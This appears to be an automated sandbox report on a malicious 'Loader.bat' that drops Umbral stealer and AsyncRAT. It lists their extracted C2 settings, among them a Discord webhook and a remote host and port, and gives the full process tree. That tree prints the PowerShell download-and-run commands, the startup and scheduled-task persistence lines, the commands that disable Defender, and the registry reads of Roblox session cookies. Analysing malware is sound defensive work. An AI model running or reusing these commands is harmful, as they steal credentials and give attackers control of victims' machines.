Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-11-2024 12:14

General

  • Target

    Loader.bat

  • Size

    1KB

  • MD5

    de5a66871a7e14fe1c7d56db9aa2e8e5

  • SHA1

    c119aea04d27dd918b9aa3b734271707098cd022

  • SHA256

    5fbc4bddd26765b3c6f1b0ab2af444bf72f6e589ac6d289db2e4b7c8b195874e

  • SHA512

    24a452d84c478d733c6d0e23d62dfca3e629720542cae36164522bfe631a05d53bafcb91c3f70ccea669c662a5fcb0b728cc56305486c9358e6c60123044e5a5

Malware Config

Extracted

Family

umbral

C2

https://discordapp.com/api/webhooks/1310577588602667038/v6do4PoA82VdH0edzJ4iW13aksBJ6rEVHVHVO7Qj6EGYvvmguDUqbAezb57n5M3uYTWB

Extracted

Family

asyncrat

Botnet

Default

C2

technical-southwest.gl.at.ply.gg:58694

Attributes
  • delay

    1

  • install

    true

  • install_file

    WINDOWS.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • Detect Umbral payload 2 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Using powershell.exe command.

  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Delays execution with timeout.exe 1 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 48 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Loader.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3204
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri https://github.com/Realmastercoder69/drf/releases/download/d/loader.exe -OutFile C:\Users\Admin\Desktop\output.exe -ErrorAction SilentlyContinue"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4940
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$WScriptShell = New-Object -ComObject WScript.Shell; $shortcut1 = $WScriptShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\output.lnk'); $shortcut1.TargetPath = 'C:\Users\Admin\Desktop\output.exe'; $shortcut1.Save()"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops startup file
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4716
    • C:\Users\Admin\Desktop\output.exe
      C:\Users\Admin\Desktop\output.exe
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4236
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4808
      • C:\Windows\SYSTEM32\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\Desktop\output.exe"
        3⤵
        • Views/modifies file attributes
        PID:5004
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\output.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4400
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3688
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3584
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1672
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1740
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
          PID:2992
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
            PID:1796
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:2952
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic" path win32_VideoController get name
            3⤵
            • Detects videocard installed
            PID:4432
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\Desktop\output.exe" && pause
            3⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Suspicious use of WriteProcessMemory
            PID:4476
            • C:\Windows\system32\PING.EXE
              ping localhost
              4⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:4316
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Invoke-WebRequest -Uri https://github.com/Realmastercoder69/uu/releases/download/dss/Loader.exe -OutFile C:\Users\Admin\Desktop\Loader.exe -ErrorAction SilentlyContinue"
          2⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3628
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "$WScriptShell = New-Object -ComObject WScript.Shell; $shortcut2 = $WScriptShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Loader.lnk'); $shortcut2.TargetPath = 'C:\Users\Admin\Desktop\Loader.exe'; $shortcut2.Save()"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops startup file
          • Suspicious behavior: EnumeratesProcesses
          PID:4060
        • C:\Users\Admin\Desktop\Loader.exe
          C:\Users\Admin\Desktop\Loader.exe
          2⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:972
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"' & exit
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2604
            • C:\Windows\system32\schtasks.exe
              schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"'
              4⤵
              • Scheduled Task/Job: Scheduled Task
              PID:2304
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp9D2A.tmp.bat""
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1368
            • C:\Windows\system32\timeout.exe
              timeout 3
              4⤵
              • Delays execution with timeout.exe
              PID:1988
            • C:\Users\Admin\AppData\Roaming\WINDOWS.exe
              "C:\Users\Admin\AppData\Roaming\WINDOWS.exe"
              4⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              PID:4408

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        2f57fde6b33e89a63cf0dfdd6e60a351

        SHA1

        445bf1b07223a04f8a159581a3d37d630273010f

        SHA256

        3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

        SHA512

        42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        276798eeb29a49dc6e199768bc9c2e71

        SHA1

        5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

        SHA256

        cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

        SHA512

        0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        d4e532cfa885cd7b7abee2caa08f0388

        SHA1

        dd3b80e4b56522e2ee2ec7877f18a1b044c0c47f

        SHA256

        811bffe99001ffee8acf0932d5a6d7dafa09094d00741623406b11fcaabea665

        SHA512

        2129fe057424835bc45de848e8191ddf8b8d2fdd242a2924653d4e073988d7fced6def199d4264fee6dcd3b20d6db3b14432e23e60756b93671262f3dc9d104a

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        491a952545b66917b0447248db23cea1

        SHA1

        0ac665eca2edb5db46785b84509bbefcf510ca1a

        SHA256

        4a5eb66c19fecf2ee2604a3185065300c1f45d1187ede1bfb123f10722b32a21

        SHA512

        bdddc71a9ef4bf385963b8dd1dbf7905f09b85893e07d718541d6f14dfb0c266e4ffe27bf949e950815c75415c319db6c1ba4c0e41b0f2305ccc0c08b473a6d5

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        08f9f3eb63ff567d1ee2a25e9bbf18f0

        SHA1

        6bf06056d1bb14c183490caf950e29ac9d73643a

        SHA256

        82147660dc8d3259f87906470e055ae572c1681201f74989b08789298511e5f0

        SHA512

        425a4a8babbc11664d9bac3232b42c45ce8430b3f0b2ae3d9c8e12ad665cd4b4cbae98280084ee77cf463b852309d02ca43e5742a46c842c6b00431fc047d512

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        9843d1de2b283224f4f4b8730ccc919f

        SHA1

        c053080262aef325e616687bf07993920503b62b

        SHA256

        409d2853e27efaa5b7e5459a0c29103197e9d661338996a13d61ca225b2222d1

        SHA512

        13d5809d2078ecd74aec818b510a900a9071605863b0a10037b3a203b76ea17598436ca5049cd13cf3442352670b21d386e84a88bece36e3440d408f123475de

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        03c60b7a8a84935ca1a959144e61b56e

        SHA1

        a4765ab1c70e591cb43222c94b0b1ff04dd90e7e

        SHA256

        cef4a7d39811807579471bfcc873c337560481ede3a08c6dd78c751930a02fbf

        SHA512

        933b046ec252bb7634c3b50ab135d3b26a0ef8103f52c043b4fb636016167ed53a2f5a78354be3c3c2159625cf882865e0d93e2d8362c2e236bc64320017377d

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        948B

        MD5

        c9b6705519e1eef08f86c4ba5f4286f3

        SHA1

        6c6b179e452ecee2673a1d4fe128f1c06f70577f

        SHA256

        0f9cad44a79126871580e19b01dc3f880c5173b1faaf8b9018d5d1f829714705

        SHA512

        6d8f85a7a8b0b124530f36a157cd0441b5c1eacdc35e274af9fbf0569d03d1d5e468651a5b2425f0215c282ecfa7b1ffeaeeaf18612822f00bd14306d30640c7

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_obj5j43d.5i1.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\tmp9D2A.tmp.bat

        Filesize

        151B

        MD5

        0a876b789f41522e88e7a91a6a0e44ea

        SHA1

        4ca9d8de6834b96786fedb27d1c39b173c246d67

        SHA256

        893e79ff69b220d2ddb44701da7dcfbde7aa9fff0e6b659e0771b01920198754

        SHA512

        68a900af6d052a2f255e2bbdbaeb0d358cadbda4f922e288c4b87977db861c7f1369048200b1d6ec5f879099704a396e49f3ea87b1b1755e86a4ecda78dae15b

      • C:\Users\Admin\Desktop\Loader.exe

        Filesize

        63KB

        MD5

        7ceb11ebb7a55e33a82bc3b66f554e79

        SHA1

        8dfd574ad06ded662d92d81b72f14c1914ac45b5

        SHA256

        aea3e89e45a33441bcd06c990282f8601eb960a641c611222dce2fe09685e603

        SHA512

        d8cd7af50996015163c8926fc7b6df6a6e2c0b3f6c8fcff37cad5b72fed115f7134723d99f61a20576b83e67107a3a410f5ef2312191446b3d0759cb739e6ccd

      • C:\Users\Admin\Desktop\output.exe

        Filesize

        227KB

        MD5

        96fc8b45a92d736087ac43746a142cf4

        SHA1

        35999912f4405f21f5068841581d1e1babf55a4b

        SHA256

        408dca374549b037529ff6b200f1fd3a9105d3f531805213e8750d3f3463ab1a

        SHA512

        b6938308458eab4412d130c1c0f5b5104f1e98ab714f659ee27d8d033dbbf9608c98f592bedcb6ff51f0f8f6a7fd4f6705783e0fbcdc900d743a8bf6416aaa16

      • memory/972-146-0x0000000000AA0000-0x0000000000AB6000-memory.dmp

        Filesize

        88KB

      • memory/4236-70-0x0000029C30CB0000-0x0000029C30D00000-memory.dmp

        Filesize

        320KB

      • memory/4236-108-0x0000029C30BE0000-0x0000029C30BEA000-memory.dmp

        Filesize

        40KB

      • memory/4236-69-0x0000029C30C30000-0x0000029C30CA6000-memory.dmp

        Filesize

        472KB

      • memory/4236-35-0x0000029C164F0000-0x0000029C16530000-memory.dmp

        Filesize

        256KB

      • memory/4236-71-0x0000029C30BB0000-0x0000029C30BCE000-memory.dmp

        Filesize

        120KB

      • memory/4236-109-0x0000029C30C10000-0x0000029C30C22000-memory.dmp

        Filesize

        72KB

      • memory/4716-18-0x00007FFE76440000-0x00007FFE76F01000-memory.dmp

        Filesize

        10.8MB

      • memory/4716-33-0x00007FFE76440000-0x00007FFE76F01000-memory.dmp

        Filesize

        10.8MB

      • memory/4716-19-0x00007FFE76440000-0x00007FFE76F01000-memory.dmp

        Filesize

        10.8MB

      • memory/4940-11-0x00007FFE76440000-0x00007FFE76F01000-memory.dmp

        Filesize

        10.8MB

      • memory/4940-12-0x00007FFE76440000-0x00007FFE76F01000-memory.dmp

        Filesize

        10.8MB

      • memory/4940-0-0x00007FFE76443000-0x00007FFE76445000-memory.dmp

        Filesize

        8KB

      • memory/4940-6-0x0000013A7A830000-0x0000013A7A852000-memory.dmp

        Filesize

        136KB

      • memory/4940-16-0x00007FFE76440000-0x00007FFE76F01000-memory.dmp

        Filesize

        10.8MB